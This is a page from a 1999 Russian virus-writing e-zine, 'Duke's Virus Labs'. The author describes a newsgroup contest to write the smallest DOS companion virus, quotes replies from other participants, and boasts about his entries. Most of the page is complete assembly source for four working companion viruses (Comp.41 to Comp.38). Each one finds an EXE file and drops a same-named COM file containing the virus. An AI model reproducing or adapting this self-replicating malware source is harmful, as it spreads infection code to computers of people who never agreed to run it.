- [Duke's Virus Labs #7] - [Page 24] - Companion.38,39,40,41 (c) by Duke/SMF В конференции RELCOM.COMP.VIRUS в середине мая'99 проводился конкурс на самый маленький компаньон вирус. Открыл конкурс RedArc, прислав свой вирус Comp.66. А дальше пошла сплошная оптимизация. Желающих участвовать оказалось совсем немного: RedArc, Vovochka, Sassa, DrMad. Остальные просто созерцали происходящее или изредка комментировали его. Героическими усилиями Vovochk'и и Sassa'ы размер компаньона был сведен до 43 байт (2 версии). И на этом все... Решил и я показать себя, т.е. соптимизировать 43-байтный вирус. Мои попытки увенчались успехом - я создал Comp.41. Поскольку я Read-Only на эту конференцию, я решил попросить RedArc'а отослать вирус на конкурс. Вылез в интернет, апдейтил страницу, и тут - опс, облом - сетка испустила дух. Письмо осталось неотправленным. На другой день я путем постепенной "оптимизации" создал вирусы Comp.40,39,38. Когда я писал новое письмо к RedArc'у я был более чем уверен, что другие уже обогнали мои достижения за это время. Но не тут-то было ! Не написав (абсолютно) ничего нового, они поспешили подвести итоги, признав минимальными 2 вируса по 43 байта. Даже не дали времени другим пораскинуть мозгами. Видимо рассуждали так : если нас четверо ничего не написало, то и другие не напишут. А зря ! Результат, как говорится, налицо. (Скажу даже больше - компаньон вирус можно сократить до 35 байт. Но это пусть господа победители помучаются ;-P ) Вот собственно переписка из RELCOM.COMP.VIRUS , касающаяся этих вирусов. 25 числа RedArc все-таки послал мои вирусы в конфу: === Cut === From: redarc@oitsp.tsu.tula.ru Newsgroups: relcom.comp.virus Subject: РЕКОРДЫ Date: 25 May 1999 08:07:11 GMT Привет! Оказывается, что некоторые кодеры не могли принять участия в конкурсе из-за того, что конференция у них в Read Only. Обидно... Вот еще несколько рекордов к конкурсу. RedArc section 1 of 1 of file Comp38.zip -={ UUE 1.06, ARA (C) 1995 }=- [ поскипал Duke ] === Cut === А теперь реакция участников конкурса: === Cut === From: "Sassa" Newsgroups: relcom.comp.virus Subject: Re: РЕКОРДЫ Date: Tue, 25 May 1999 19:17:53 +0200 хи > Привет! > Оказывается, что некоторые кодеры не могли принять участия в конкурсе > из-за того, что конференция у них в Read Only. Обидно... > Вот еще несколько рекордов к конкурсу. > RedArc > section 1 of 1 of file Comp38.zip -={ UUE 1.06, ARA (C) 1995 }=- ну, тут на 2 байта просто сжульничали ;( а 1 байт - да, таки выкусили... а comp38... ну, мне уже надоело :)))) -- Sassa Apiary Inc. ______ @()(_) /\\ sassa@apiary.sumy.ua === Cut === И чем он недоволен ? К чему цепляется ? Спрашивается : а кто ЕМУ не давал cоптимизировать также ? Я достиг требуемого результата : сокращение размера при сохранении работоспособности. А уж как это реализуется в Comp.38, это второй вопрос. Сохранены все преимущества вируса Comp.43 by Vovochka. === Cut === From: "Vovochka" Newsgroups: relcom.comp.virus Subject: Re: РЕКОРДЫ Date: Wed, 26 May 1999 09:06:58 +0400 redarc@oitsp.tsu.tula.ru пишет в сообщении <7idlnf$ddo@mpeks.tomsk.su> ... >Привет! > >Оказывается, что некоторые кодеры не могли принять участия в конкурсе >из-за того, что конференция у них в Read Only. Обидно... >Вот еще несколько рекордов к конкурсу. > >RedArc Ну что C.38 у меня оказался в принципе вполне работоспособным ;-))) (не считая глюков когда отсутствуют exe'шники, и возможного присутствия в PSP и заполненной DTA символа 2Eh '.'). Vovochka. === Cut === Ну вот, даже сам рекордсмен признал, что мое зверье работает :)) Я не претендую на звание победителя, тем более что награда за победу более чем сомнительная. Однако хочу сказать, что в дальнейшем "нашим сетевым друзьям" не стоит переоценивать себя и недооценивать других. Интересен вопрос Admin'а : "Неужели ты считаешь себя победителем в этом конкурсе ?". А почему бы и нет ? Ну не считать же мне себя проигравшим, :) ведь конкурс прошел без моего участия... Теперь скажу немного о моих вирусах. Ищут первый EXE-файл текущего каталога. Если у него нет одноименного COM-файла, то создается этот COM-файл с телом вируса. И отвал... ===== begin comp41.asm ===== .Model Tiny .code .386 org 100h start: E_Mask db '*.e*' mov di,9eh xchg cx,ax ;cx=0 mov ah,4eh NewFile: mov dx,si int 21h ; jnb TestFile ;FD : а не плюнуть ли нам на проверку ??? ;@Exit: ;FD : если файл есть - поразим ! ; ret ;FD : а на нет и суда нет ;-) TestFile: mov dx,di mov ax,5b2eh @1: scasb jne @1 mov dword ptr [di],' moc' @2: int 21h jc @Exit ;уйдем на выход все равно повторного поиска нет xchg bx,ax mov ah,40h mov cl,MyLength ;@3: ;FD : это был мусор какой-то jmp short NewFile @Exit: ;FD : самое место :) ret ; ;--- MyLength equ $-start end start ===== end comp41.asm ===== ===== begin comp40.asm ===== .Model Tiny .code .386 org 100h start: E_Mask db '*.e*' mov di,9eh xchg cx,ax ;cx=0 mov ah,4eh CALL NewFile NewFile: push si pop dx ; mov dx,si int 21h ;TestFile: mov dx,di mov ax,5b2eh @1: scasb jne @1 mov dword ptr [di],' moc' int 21h ; jc @Exit ;когда придет время все равно сами выйдем ;-)) xchg bx,ax mov ah,40h mov cl,MyLength ;@Exit: ret ;--- MyLength equ $-start end start ===== end comp40.asm ===== ===== begin comp39.asm ===== .Model Tiny .code .386 org 100h start: E_Mask db '*.e*' ; mov di,9eh xchg cx,ax ;cx=0 mov ah,4eh CALL NewFile ;так мы заюзываем ret дважды NewFile: mov dx,si int 21h ;TestFile: ; mov dx,di mov dx,9eh ;FD : сразу вчехлим сюда mov ax,5b2eh @1: scasb jne @1 mov dword ptr [di],' moc' int 21h ; jc @Exit ;FD : когда придет время все равно сами выйдем ;-)) xchg bx,ax mov ah,40h add cl,MyLength ;FD : и чего это меня на ADD потянуло ??? ;@Exit: ret ;--- MyLength equ $-start end start ===== end comp39.asm ===== ===== begin comp38.asm ===== ; Ну заглючило меня с этим ADD, что поделаешь... ; Теперь исправляю ! .Model Tiny .code .386 org 100h start: E_Mask db '*.e*' ; mov di,9eh xchg cx,ax ;cx=0 mov ah,4eh CALL NewFile NewFile: mov dx,si int 21h ;TestFile: ; mov dx,di mov dx,9eh ;FD : сразу вчехлим сюда mov ax,5b2eh @1: scasb jne @1 mov dword ptr [di],' moc' int 21h ; jc @Exit ;FD : когда придет время все равно сами выйдем ;-)) xchg bx,ax mov ah,40h mov cl,MyLength ;FD : и какого черта я раньше ADD использовал ??? ;@Exit: ret ;--- MyLength equ $-start end start ===== end comp38.asm =====